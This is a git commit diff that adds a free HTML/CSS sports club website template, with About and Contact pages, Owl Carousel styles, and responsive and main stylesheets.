add sports club template

This commit is contained in:
2024-05-21 04:04:59 +02:00
parent a0963f4254
commit 295b7c660e
64 changed files with 21617 additions and 0 deletions

143
web/sport/club/about.html Normal file
View File

@@ -0,0 +1,143 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- mobile metas -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<!-- site metas -->
<title>yogast</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="author" content="">
<!-- bootstrap css -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<!-- style css -->
<link rel="stylesheet" href="css/style.css">
<!-- responsive-->
<link rel="stylesheet" href="css/responsive.css">
<!-- awesome fontfamily -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<!-- body -->
<body class="main-layout inner_page">
<!-- loader -->
<div class="loader_bg">
<div class="loader"><img src="images/loading.gif" alt="" /></div>
</div>
<!-- end loader -->
<div id="mySidepanel" class="sidepanel">
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
<a href="index.html">Home</a>
<a class="active" href="about.html">About</a>
<a href="games.html">Games</a>
<a href="tranner.html">Tranner</a>
<a href="contact.html">Contact</a>
</div>
<!-- header -->
<header>
<!-- header inner -->
<div class="head-top">
<div class="container-fluid">
<div class="row d_flex">
<div class="col-sm-3">
<div class="logo">
<a href="index.html"><img src="images/logo.png" /></a>
</div>
</div>
<div class="col-sm-9">
<ul class="email text_align_right">
<li><a href="Javascript:void(0)"><i class="fa fa-user" aria-hidden="true"></i></a></li>
<li><a href="Javascript:void(0)"><i class="fa fa-search" aria-hidden="true"></i></a></li>
<li> <button class="openbtn" onclick="openNav()"><img src="images/menu_btn.png"></button></li>
</ul>
</div>
</div>
</div>
</div>
</header>
<!-- end header -->
<!-- about -->
<div class="about">
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="titlepage text_align_center">
<h2>About Our Club</h2>
<p>n some form, by injected humour, or randomised</p>
</div>
</div>
<div class="col-md-12">
<div class="about_img">
<figure><img class="img_responsive" src="images/about_img.png" alt="#"/></figure>
<div class="abo_btn">
<a href="Javascript:void(0)"><img src="images/about_btn.png" alt="#"/></a>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- end about -->
<!-- footer -->
<footer>
<div class="footer">
<div class="container">
<div class="row">
<div class="col-md-8 offset-md-2">
<h3>Follow Us</h3>
<ul class="social_icon text_align_center">
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
</ul>
<div class="conta text_align_center">
<ul>
<li> <a href="Javascript:void(0)"><img src="images/call.png" alt="#"/> Call +01 1234567890
</a>
</li>
<li> <a href="Javascript:void(0)"><img src="images/mall.png" alt="#"/> demo@gmail.com
</a>
</li>
</ul>
</div>
</div>
<div class="col-md-8 offset-md-2">
<div class="menu_bottom text_align_center">
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="about.html">About</a></li>
<li><a href="games.html">Games</a></li>
<li><a href="tranner.html">Tranner</a></li>
<li><a href="contact.html">Contact</a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="copyright text_align_center">
<div class="container">
<div class="row">
<div class="col-md-8 offset-md-2">
<p>© 2020 All Rights Reserved. <a href="https://html.design/"> Free Html Template</a></p>
</div>
</div>
</div>
</div>
</div>
</footer>
<!-- end footer -->
<!-- Javascript files-->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.bundle.min.js"></script>
<script src="js/jquery-3.0.0.min.js"></script>
<script src="js/custom.js"></script>
</body>
</html>

159
web/sport/club/contact.html Normal file
View File

@@ -0,0 +1,159 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- mobile metas -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<!-- site metas -->
<title>yogast</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="author" content="">
<!-- bootstrap css -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<!-- style css -->
<link rel="stylesheet" href="css/style.css">
<!-- responsive-->
<link rel="stylesheet" href="css/responsive.css">
<!-- awesome fontfamily -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
</head>
<!-- body -->
<body class="main-layout inner_page">
<!-- loader -->
<div class="loader_bg">
<div class="loader"><img src="images/loading.gif" alt="" /></div>
</div>
<!-- end loader -->
<div id="mySidepanel" class="sidepanel">
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
<a href="index.html">Home</a>
<a href="about.html">About</a>
<a href="games.html">Games</a>
<a href="tranner.html">Tranner</a>
<a class="active" href="contact.html">Contact</a>
</div>
<!-- header -->
<header>
<!-- header inner -->
<div class="head-top">
<div class="container-fluid">
<div class="row d_flex">
<div class="col-sm-3">
<div class="logo">
<a href="index.html"><img src="images/logo.png" /></a>
</div>
</div>
<div class="col-sm-9">
<ul class="email text_align_right">
<li><a href="Javascript:void(0)"><i class="fa fa-user" aria-hidden="true"></i></a></li>
<li><a href="Javascript:void(0)"><i class="fa fa-search" aria-hidden="true"></i></a></li>
<li> <button class="openbtn" onclick="openNav()"><img src="images/menu_btn.png"></button></li>
</ul>
</div>
</div>
</div>
</div>
</header>
<!-- end header -->
<!-- contact -->
<div class="contact">
<div class="container">
<div class="row">
<div class="col-md-12">
</div>
</div>
<div class="row">
<div class="col-md-12">
<div class="titlepage text_align_center">
<h2>Contact Us</h2>
</div>
</div>
<div class=" col-md-10 offset-md-1">
<form id="request" class="main_form">
<div class="row">
<div class="col-md-12 ">
<input class="contactus" placeholder="Your Name" type="type" name="Your Name">
</div>
<div class="col-md-6">
<input class="contactus" placeholder="Phone number" type="type" name="Phone number">
</div>
<div class="col-md-6">
<input class="contactus" placeholder="Email" type="type" name="Email">
</div>
<div class="col-md-12">
<textarea class="textarea" placeholder="Message" type="type" Message="Name">Message</textarea>
</div>
<div class="col-md-12">
<button class="send_btn">Send</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<!-- end contact -->
<!-- footer -->
<footer>
<div class="footer">
<div class="container">
<div class="row">
<div class="col-md-8 offset-md-2">
<h3>Follow Us</h3>
<ul class="social_icon text_align_center">
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
</ul>
<div class="conta text_align_center">
<ul>
<li> <a href="Javascript:void(0)"><img src="images/call.png" alt="#"/> Call +01 1234567890
</a>
</li>
<li> <a href="Javascript:void(0)"><img src="images/mall.png" alt="#"/> demo@gmail.com
</a>
</li>
</ul>
</div>
</div>
<div class="col-md-8 offset-md-2">
<div class="menu_bottom text_align_center">
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="about.html">About</a></li>
<li><a href="games.html">Games</a></li>
<li><a href="tranner.html">Tranner</a></li>
<li><a href="contact.html">Contact</a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="copyright text_align_center">
<div class="container">
<div class="row">
<div class="col-md-8 offset-md-2">
<p>© 2020 All Rights Reserved. <a href="https://html.design/"> Free Html Template</a></p>
</div>
</div>
</div>
</div>
</div>
</footer>
<!-- end footer -->
<!-- Javascript files-->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.bundle.min.js"></script>
<script src="js/jquery-3.0.0.min.js"></script>
<script src="js/custom.js"></script>
</body>
</html>

8950
web/sport/club/css/bootstrap.css vendored Normal file

File diff suppressed because it is too large Load Diff

7
web/sport/club/css/bootstrap.min.css vendored Normal file

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,186 @@
/**
* Owl Carousel v2.3.4
* Copyright 2013-2018 David Deutsch
* Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
*/
/*
* Owl Carousel - Core
*/
.owl-carousel {
display: none;
width: 100%;
-webkit-tap-highlight-color: transparent;
/* position relative and z-index fix webkit rendering fonts issue */
position: relative;
z-index: 1; }
.owl-carousel .owl-stage {
position: relative;
-ms-touch-action: pan-Y;
touch-action: manipulation;
-moz-backface-visibility: hidden;
/* fix firefox animation glitch */ }
.owl-carousel .owl-stage:after {
content: ".";
display: block;
clear: both;
visibility: hidden;
line-height: 0;
height: 0; }
.owl-carousel .owl-stage-outer {
position: relative;
overflow: hidden;
/* fix for flashing background */
-webkit-transform: translate3d(0px, 0px, 0px); }
.owl-carousel .owl-wrapper,
.owl-carousel .owl-item {
-webkit-backface-visibility: hidden;
-moz-backface-visibility: hidden;
-ms-backface-visibility: hidden;
-webkit-transform: translate3d(0, 0, 0);
-moz-transform: translate3d(0, 0, 0);
-ms-transform: translate3d(0, 0, 0); }
.owl-carousel .owl-item {
position: relative;
min-height: 1px;
float: left;
-webkit-backface-visibility: hidden;
-webkit-tap-highlight-color: transparent;
-webkit-touch-callout: none; }
.owl-carousel .owl-item img {
display: block;
width: 100%; }
.owl-carousel .owl-nav.disabled,
.owl-carousel .owl-dots.disabled {
display: none; }
.owl-carousel .owl-nav .owl-prev,
.owl-carousel .owl-nav .owl-next,
.owl-carousel .owl-dot {
cursor: pointer;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none; }
.owl-carousel .owl-nav button.owl-prev,
.owl-carousel .owl-nav button.owl-next,
.owl-carousel button.owl-dot {
background: none;
color: inherit;
border: none;
padding: 0 !important;
font: inherit; }
.owl-carousel.owl-loaded {
display: block; }
.owl-carousel.owl-loading {
opacity: 0;
display: block; }
.owl-carousel.owl-hidden {
opacity: 0; }
.owl-carousel.owl-refresh .owl-item {
visibility: hidden; }
.owl-carousel.owl-drag .owl-item {
-ms-touch-action: pan-y;
touch-action: pan-y;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none; }
.owl-carousel.owl-grab {
cursor: move;
cursor: grab; }
.owl-carousel.owl-rtl {
direction: rtl; }
.owl-carousel.owl-rtl .owl-item {
float: right; }
/* No Js */
.no-js .owl-carousel {
display: block; }
/*
* Owl Carousel - Animate Plugin
*/
.owl-carousel .animated {
animation-duration: 1000ms;
animation-fill-mode: both; }
.owl-carousel .owl-animated-in {
z-index: 0; }
.owl-carousel .owl-animated-out {
z-index: 1; }
.owl-carousel .fadeOut {
animation-name: fadeOut; }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
/*
* Owl Carousel - Auto Height Plugin
*/
.owl-height {
transition: height 500ms ease-in-out; }
/*
* Owl Carousel - Lazy Load Plugin
*/
.owl-carousel .owl-item {
/**
This is introduced due to a bug in IE11 where lazy loading combined with autoheight plugin causes a wrong
calculation of the height of the owl-item that breaks page layouts
*/ }
.owl-carousel .owl-item .owl-lazy {
opacity: 0;
transition: opacity 400ms ease; }
.owl-carousel .owl-item .owl-lazy[src^=""], .owl-carousel .owl-item .owl-lazy:not([src]) {
max-height: 0; }
.owl-carousel .owl-item img.owl-lazy {
transform-style: preserve-3d; }
/*
* Owl Carousel - Video Plugin
*/
.owl-carousel .owl-video-wrapper {
position: relative;
height: 100%;
background: #000; }
.owl-carousel .owl-video-play-icon {
position: absolute;
height: 80px;
width: 80px;
left: 50%;
top: 50%;
margin-left: -40px;
margin-top: -40px;
background: url("owl.video.play.png") no-repeat;
cursor: pointer;
z-index: 1;
-webkit-backface-visibility: hidden;
transition: transform 100ms ease; }
.owl-carousel .owl-video-play-icon:hover {
-ms-transform: scale(1.3, 1.3);
transform: scale(1.3, 1.3); }
.owl-carousel .owl-video-playing .owl-video-tn,
.owl-carousel .owl-video-playing .owl-video-play-icon {
display: none; }
.owl-carousel .owl-video-tn {
opacity: 0;
height: 100%;
background-position: center center;
background-repeat: no-repeat;
background-size: contain;
transition: opacity 400ms ease; }
.owl-carousel .owl-video-frame {
position: relative;
z-index: 1;
height: 100%;
width: 100%; }

View File

@@ -0,0 +1,6 @@
/**
* Owl Carousel v2.3.4
* Copyright 2013-2018 David Deutsch
* Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
*/
.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.owl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!important;font:inherit}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:pan-y;touch-action:pan-y;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item .owl-lazy:not([src]),.owl-carousel .owl-item .owl-lazy[src^=""]{max-height:0}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-play-icon,.owl-carousel .owl-video-playing .owl-video-tn{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%}

View File

@@ -0,0 +1,6 @@
/**
* Owl Carousel v2.3.4
* Copyright 2013-2018 David Deutsch
* Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
*/
.owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highlight-color:transparent}.owl-theme .owl-nav{margin-top:10px}.owl-theme .owl-nav [class*=owl-]{color:#FFF;font-size:14px;margin:5px;padding:4px 7px;background:#D6D6D6;display:inline-block;cursor:pointer;border-radius:3px}.owl-theme .owl-nav [class*=owl-]:hover{background:#869791;color:#FFF;text-decoration:none}.owl-theme .owl-nav .disabled{opacity:.5;cursor:default}.owl-theme .owl-nav.disabled+.owl-dots{margin-top:10px}.owl-theme .owl-dots .owl-dot{display:inline-block;zoom:1}.owl-theme .owl-dots .owl-dot span{width:10px;height:10px;margin:5px 7px;background:#D6D6D6;display:block;-webkit-backface-visibility:visible;transition:opacity .2s ease;border-radius:30px}.owl-theme .owl-dots .owl-dot.active span,.owl-theme .owl-dots .owl-dot:hover span{background:#869791}

View File

@@ -0,0 +1,151 @@
/*---------------------------------------------------------------------
File Name: responsive.css
---------------------------------------------------------------------*/
@media (min-width: 1200px) and (max-width: 1320px) {}
@media (min-width: 992px) and (max-width: 1199px) {
.banner_main {
margin: 0 151px;
}
.club_btn .read_more {
max-width: 296px;
}
.poa_t {
padding: 0 30px;
}
.menu_bottom li {
padding: 0 26px;
}
}
@media (min-width: 768px) and (max-width: 991px) {
.banner_main {
margin: 0 151px;
}
.poa_t {
padding: 0 30px;
}
.footbol {
margin-top: -126px;
}
.club figure img {
height: 354px;
}
.club_btn .read_more {
max-width: 220px;
}
.conta ul li {
padding-right: 25px;
}
.conta ul li a img {
padding-right: 5px;
}
.menu_bottom li {
padding: 0 11px;
}
}
@media (min-width: 576px) and (max-width: 767px) {
header {
position: inherit;
background: #fff;
}
.banner_main {
margin: 0;
}
.sm_n0 {
display: none;
}
.tes_n0 {
display: inherit;
}
.poa_t {
padding: 0 30px;
}
.sports_main {
margin-bottom: 30px;
}
.club_btn .read_more {
max-width: 174px;
height: 64px;
line-height: 64px;
margin: 0 4px;
}
.menu_bottom li {
padding: 0 16px;
}
}
@media (max-width: 575px) {
header {
position: inherit;
background: #fff;
}
.d_none {
display: none !important;
}
.email {
padding-top: 0 !important;
margin-top: -44px;
}
.logo {
display: block;
width: 144px;
float: left;
}
.banner_main {
margin: 0;
}
.sm_n0 {
display: none;
}
.tes_n0 {
display: inherit;
}
.poa_t {
padding: 0 30px;
top: 58px;
}
.club h1 {
font-size: 37px;
}
.sports_main {
margin-bottom: 30px;
}
.club figure img {
height: 276px;
}
.footbol {
margin-top: -33px;
}
.dorder {
border: #1f1d45 solid 10px;
}
.foot_img {
max-width: 260px;
padding: 23px 0 9px 0;
}
.abo_btn a img {
width: 100px;
}
.titlepage h2 {
font-size: 30px;
line-height: 35px;
}
.club_btn .read_more {
margin-top: 5px;
}
.footer {
background: #070808;
}
.conta {
text-align: left;
}
.menu_bottom li {
padding: 0px 3px;
}
.menu_bottom ul li a {
font-size: 14px;
}
}

View File

@@ -0,0 +1,851 @@
/*---------------------------------------------------------------------
File Name: style.css
---------------------------------------------------------------------*/
/*---------------------------------------------------------------------
import Fonts
---------------------------------------------------------------------*/
@import url('https://fonts.googleapis.com/css?family=Rajdhani:300,400,500,600,700');
@import url('https://fonts.googleapis.com/css?family=Poppins:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i');
@import url('https://fonts.googleapis.com/css?family=Raleway:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i');
@import url('https://fonts.googleapis.com/css?family=Open+Sans:400,600,600i,700,700i,800,800i&display=swap');
/*--------------------------------------------------------------------- import Files ---------------------------------------------------------------------*/
@import url(font-awesome.min.css);
@import url(owl.carousel.min.css);
/*---------------------------------------------------------------------
basic
---------------------------------------------------------------------*/
body {
color: #666666;
font-size: 14px;
font-family: 'Poppins', sans-serif;
line-height: 1.80857;
font-weight: normal;
background: url(../images/bg-body.jpg);
background-position: center;
background-repeat: no-repeat;
}
a {
color: #1f1f1f;
text-decoration: none !important;
outline: none !important;
-webkit-transition: all .3s ease-in-out;
-moz-transition: all .3s ease-in-out;
-ms-transition: all .3s ease-in-out;
-o-transition: all .3s ease-in-out;
transition: all .3s ease-in-out;
}
h1,
h2,
h3,
h4,
h5,
h6 {
letter-spacing: 0;
font-weight: normal;
position: relative;
padding: 0;
font-weight: normal;
line-height: normal;
color: #111111;
margin: 0
}
h1 {
font-size: 24px
}
h2 {
font-size: 22px
}
h3 {
font-size: 18px
}
h4 {
font-size: 16px
}
h5 {
font-size: 14px
}
h6 {
font-size: 13px
}
*,
*::after,
*::before {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
h1 a,
h2 a,
h3 a,
h4 a,
h5 a,
h6 a {
color: #212121;
text-decoration: none!important;
opacity: 1
}
button:focus {
outline: none;
}
ul,
li,
ol {
margin: 0px;
padding: 0px;
list-style: none;
}
p {
margin: 0px;
padding: 0;
font-weight: 400;
font-size: 17px;
line-height: 28px;
}
a {
color: #222222;
text-decoration: none;
outline: none !important;
}
a,
.btn {
text-decoration: none !important;
outline: none !important;
-webkit-transition: all .3s ease-in-out;
-moz-transition: all .3s ease-in-out;
-ms-transition: all .3s ease-in-out;
-o-transition: all .3s ease-in-out;
transition: all .3s ease-in-out;
}
img {
max-width: 100%;
height: auto;
}
:focus {
outline: 0;
}
.btn-custom {
margin-top: 20px;
background-color: transparent !important;
border: 2px solid #ddd;
padding: 12px 40px;
font-size: 16px;
}
.lead {
font-size: 18px;
line-height: 30px;
color: #767676;
margin: 0;
padding: 0;
}
.form-control:focus {
border-color: #ffffff !important;
box-shadow: 0 0 0 .2rem rgba(255, 255, 255, .25);
}
.navbar-form input {
border: none !important;
}
.badge {
font-weight: 500;
}
blockquote {
margin: 20px 0 20px;
padding: 30px;
}
button {
border: 0;
margin: 0;
padding: 0;
cursor: pointer;
}
.full {
width: 100%;
float: left;
margin: 0;
padding: 0;
}
.text_align_center {
text-align: center;
}
.text_align_left {
text-align: left;
}
.text_align_right {
text-align: right;
}
.d_flex {
display: flex;
align-items: center;
flex-wrap: wrap;
}
.container {
max-width: 1170px;
}
/*----------------------------
loader
----------------------------*/
.loader_bg {
position: fixed;
z-index: 9999999;
background: #fff;
width: 100%;
height: 100%;
}
.loader {
height: 100%;
width: 100%;
position: absolute;
left: 0;
top: 0;
display: flex;
justify-content: center;
align-items: center;
}
.loader img {
width: 280px;
}
/*---------------------------------------------------------------------
header
---------------------------------------------------------------------*/
header {
background: transparent;
width: 100%;
padding: 40px 0px;
position: absolute;
z-index: 9;
}
/*---------------------------------------------------------------------
menu section
---------------------------------------------------------------------*/
ul.email {
float: right;
padding-top: 1px;
}
ul.email li {
display: inline-block;
padding-right: 20px;
}
ul.email li:last-child {
padding-right: 0;
}
ul.email li a {
color: #343650;
font-size: 20px;
}
.sidepanel {
width: 0;
position: fixed;
z-index: 9999999;
height: 100%;
top: 0;
left: 0;
background-color: #1f1d47;
overflow-x: hidden;
transition: 0.5s;
padding-top: 60px;
}
.sidepanel a {
padding: 8px 8px 8px 32px;
text-decoration: none;
font-size: 20px;
color: #fff;
display: block;
transition: 0.3s;
}
.sidepanel a:hover {
color: #26cc35;
}
.sidepanel a.active {
color: #26cc35;
}
.sidepanel .closebtn {
position: absolute;
top: 0;
right: 25px;
font-size: 36px;
}
.openbtn {
cursor: pointer;
background-color: transparent;
color: white;
border: none;
}
/** banner_main **/
.banner_main {
margin: 0 170px;
}
.tes_n0 {
display: none;
}
.poa_t {
position: absolute;
top: 97px;
left: 0;
right: 0;
}
.club {
text-align: center;
}
.club figure {
margin: 0;
}
.club figure img {
height: 417px;
}
.club h1 {
color: #fff;
font-size: 50px;
line-height: 50px;
text-transform: uppercase;
font-weight: bold;
padding-bottom: 10px;
}
.club p {
color: #fff;
line-height: 25px;
font-weight: 400;
font-size: 17px;
}
.footbol {
margin-top: -180px;
}
#myCarousel .carousel-indicators {
display: none;
}
#myCarousel a.carousel-control-next,
#myCarousel a.carousel-control-prev {
background: #26cc35;
width: 80px;
height: 80px;
top: 49%;
opacity: 1;
font-size: 35px;
color: #fff;
border-radius: 50px;
}
#myCarousel a.carousel-control-next {
right: 5%;
}
#myCarousel a.carousel-control-prev {
left: 5%;
}
#myCarousel a.carousel-control-next:focus,
#myCarousel a.carousel-control-next:hover,
#myCarousel a.carousel-control-prev:focus,
#myCarousel a.carousel-control-prev:hover {
background: #1f1d47;
color: #fff;
opacity: 1;
}
.relative {
position: inherit;
bottom: 0;
padding: 0;
}
.bluid {
text-align: center;
}
.foot_img {
background: #26cc35;
max-width: 350px;
margin: 0 auto;
padding: 65px 0 58px 0;
border-radius: 60%;
margin-bottom: 80px;
}
.titlepage {
padding-bottom: 60px;
}
.titlepage h2 {
font-size: 50px;
font-weight: bold;
line-height: 55px;
color: #000000;
}
.read_more {
display: inline-block;
background: #26cc35;
color: #fff;
max-width: 201px;
height: 67px;
line-height: 67px;
width: 100%;
font-size: 17px;
text-align: center;
font-weight: bold;
border-radius: 50px;
transition: ease-in all 0.5s;
}
.read_more:hover {
background: #1f1d46;
color: #fff;
transition: ease-in all 0.5s;
}
.img_responsive {
max-width: 100%;
}
/** sports **/
.sports {
padding-top: 90px;
}
.sports .titlepage p {
color: #000000;
font-size: 17px;
line-height: 30px;
padding-top: 10px;
margin-bottom: 40px;
}
.sports_main figure {
margin: 0;
}
.dorder {
border: #1f1d45 solid 40px;
}
.sports_main figure img {
filter: drop-shadow(0px 0px 4px #1e1e1e3d);
border-radius: 50%;
}
.sports_text h3 {
padding-top: 30px;
color: #26cc35;
font-size: 30px;
line-height: 30px;
padding-bottom: 20px;
font-weight: bold;
text-transform: uppercase;
}
.sports_text p {
color: #111111;
font-size: 17px;
line-height: 30px;
padding-bottom: 25px;
}
.dark3 {
color: #171717 !important;
}
.sports_text .read_more {
max-width: 143px;
line-height: 48px;
height: 48px;
}
/* end sports */
/** about **/
.about {
padding-top: 90px;
}
.about .titlepage p {
color: #000000;
font-size: 17px;
line-height: 30px;
padding-top: 10px;
}
.about_img figure {
margin: 0;
}
.abo_btn {
position: absolute;
background-position: center;
text-align: center;
display: flex;
align-items: center;
justify-content: center;
left: 0;
right: 0;
top: 0;
bottom: 0;
}
/** end about **/
/** trannir **/
.trannir {
padding-top: 90px;
}
.trannir .titlepage {
padding-bottom: 60px;
}
.trannir .titlepage p {
color: #000000;
font-size: 17px;
line-height: 30px;
padding-top: 10px;
}
.posi_in {
position: inherit;
padding: 0;
}
.trannir_text i img {
border-radius: 50%;
}
.trannir_text h3 {
margin-top: 40px;
color: #111111;
font-size: 31px;
padding: 0;
font-weight: bold;
line-height: 20px;
}
.trannir_text span {
color: #26cc35;
font-size: 23px;
font-weight: bold;
display: block;
}
.trannir_text ul.social_icon li a {
color: #000000;
}
#testimo .carousel-indicators {
display: none;
}
#testimo a.carousel-control-next,
#testimo a.carousel-control-prev {
background: #26cc35;
width: 80px;
height: 80px;
top: 49%;
opacity: 1;
font-size: 40px;
border-radius: 40px;
color: #fff;
}
#testimo a.carousel-control-next:focus,
#testimo a.carousel-control-next:hover,
#testimo a.carousel-control-prev:focus,
#testimo a.carousel-control-prev:hover {
background: #1f1d47;
color: #fff;
opacity: 1;
}
/** end trannir **/
/* our_club */
.our_club {
padding-top: 90px;
}
.our_club .titlepage p {
color: #000000;
font-size: 17px;
line-height: 30px;
padding-top: 10px;
}
.club_btn {
display: flex;
justify-content: center;
flex-wrap: wrap;
}
.club_btn .read_more {
max-width: 340px;
height: 84px;
line-height: 84px;
text-transform: uppercase;
margin: 0 11px;
}
/* end our_club */
/** footer **/
.footer {
background: url(../images/footer_bg.png);
background-repeat: no-repeat;
background-position: center;
background-size: 100% 100%;
padding-top: 90px;
margin-top: 90px;
}
.footer h3 {
color: #ffffff;
font-size: 26px;
font-weight: bold;
line-height: 25px;
text-align: center;
}
ul.social_icon {
padding-top: 20px;
}
ul.social_icon li {
display: inline-block;
padding-right: 20px;
}
ul.social_icon li:last-child {
padding-right: 0;
}
ul.social_icon li a {
color: #fff;
display: inline-block;
text-align: center;
line-height: 35px;
font-size: 35px;
font-weight: bold;
}
ul.social_icon li a:hover {
color: #26cc35;
transform: rotate(360deg);
transition: ease-in all 0.7s;
}
.conta {
margin-top: 40px;
}
.conta ul li {
display: inline-block;
padding-right: 40px;
}
.conta ul li:last-child {
padding-right: 0;
}
.conta ul li a {
color: #fff;
font-size: 20px;
}
.conta ul li a img {
padding-right: 15px;
}
.menu_bottom {
padding-top: 50px;
}
.menu_bottom li {
display: inline-block;
padding: 0 30px;
color: #ffffff;
}
.menu_bottom ul li a {
color: #fff;
font-size: 20px;
line-height: 29px;
}
.menu_bottom li a:hover {
color: #26cc35;
}
.copyright {
margin-top: 30px;
}
.copyright p {
color: #fff;
padding: 20px 0px;
border-top: #222323 solid 1px;
}
.copyright a {
color: #fff;
}
.copyright a:hover {
color: #26cc35;
}
/** end footer **/
/*- - ener page css--*/
